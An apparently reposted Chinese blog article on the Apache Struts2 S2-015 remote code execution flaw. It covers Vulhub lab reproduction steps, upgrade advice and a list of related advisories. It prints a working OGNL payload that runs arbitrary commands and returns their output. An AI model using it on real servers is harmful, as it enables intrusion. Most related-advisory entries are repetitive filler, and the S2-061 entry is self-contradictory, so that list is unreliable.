Apache Struts2远程代码执行漏洞(S2-015)
漏洞介绍
漏洞编号: S2-015
CVE编号: CVE-2013-2135
影响版本: 2.0.0至2.3.14.2版本
漏洞描述: Apache Struts2在处理特定标签属性时,会进行二次OGNL解析,攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入修改且会执行OGNL表达式的Struts2标签的属性值中,从而引发OGNL表达式解析,最终导致远程代码执行。
漏洞复现步骤
1、环境准备: 使用Vulhub漏洞测试靶场搭建环境。
2、验证漏洞: 通过访问靶机并构建POC来验证漏洞存在性,使用以下URL进行测试:http://your-ip:8080/?id=%25{2*3}。
3、利用漏洞: 构造恶意的OGNL表达式进行命令执行,使用以下POC获取Tomcat路径或执行任意命令:
获取Tomcat路径: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
执行任意命令: %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
修复方案
1、确定Struts版本: 先确定当前使用的Struts版本。
2、下载新版Struts库: 根据当前版本选择合适的新版Struts库(如2.3.37或2.5.22)。
3、备份旧版Struts库: 备份现有的Struts项目目录。
4、替换新版Struts库: 删除旧版Struts库,替换为新版库。
5、验证修复结果: 确保应用正常运行,并再次扫描确认漏洞已修复。
其他相关漏洞
S2-001 (CVE-2007-4556)
影响版本: WebWork 2.1 (with altSyntax enabled) WebWork 2.2.5, Struts 2.0.0 Struts 2.0.8
漏洞原理: 用户提交表单数据验证失败时,后端会将参数值使用OGNL表达式进行解析并重新填充到表单数据中,导致命令执行。
S2-005
影响版本: 具体版本未明确提及
漏洞原理: Struts2解析参数名称使用了OGNL表达式,构建恶意OGNL表达式会造成注入。
S2-007
影响版本: 具体版本未明确提及
漏洞原理: 与S2-005类似,涉及OGNL表达式的不当解析导致的安全漏洞。
S2-008 (CVE-2012-0391)
影响版本: 具体版本未明确提及
漏洞原理: 涉及OGNL表达式的不当解析,可能允许攻击者执行远程代码。
S2-009 (CVE-2011-3923)
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-012
影响版本: 具体版本未明确提及
漏洞原理: 涉及OGNL表达式的不当解析,可能导致远程代码执行。
S2-013/S2-014
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-015 (CVE-2013-2135)
影响版本: 2.0.0至2.3.14.2版本
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-016 (CVE-2013-2251)
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-019
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-032 (CVE-2016-3081)
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-037
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-045 (CVE-2017-5638)
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-045-bypass
影响版本: 具体版本未明确提及
漏洞原理: 绕过了S2-045的安全措施,仍然允许远程代码执行。
S2-046
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-046-bypass
影响版本: 具体版本未明确提及
漏洞原理: 绕过了S2-046的安全措施,仍然允许远程代码执行。
S2-048
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-052
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-053
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-057
影响版本: 具体版本未明确提及
漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。
S2-059 (CVE-2019-0230)
影响版本: Struts 2.0.0 – Struts 2.5.20
漏洞原理: Struts框架在强制执行时对某些标签属性进行二次OGNL解析,攻击者可构造恶意OGNL表达式触发漏洞。
S2-061 (CVE-2020-17530)
影响版本: 2.0.0 <= Apache Struts2 <= 2.5.29
漏洞原理: S2-061的不完整修复导致开发人员使用%{…}语法进行强制OGNL解析时仍有一些特殊的TAG属性可被二次解析。
S2-DevMode
影响版本: 具体版本未明确提及
漏洞原理: 与开发模式相关的安全问题,可能导致远程代码执行。
信息是基于搜索结果整理的,实际使用时应根据具体情况进行调整和验证,对于任何安全漏洞,建议及时关注官方发布的安全公告和修复建议,并采取相应的安全措施来保护系统安全。
到此,以上就是小编对于struts的漏洞的问题就介绍到这了,希望介绍的几点解答对大家有用,有任何问题和不懂的,欢迎各位朋友在评论区讨论,给我留言。
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/86692.html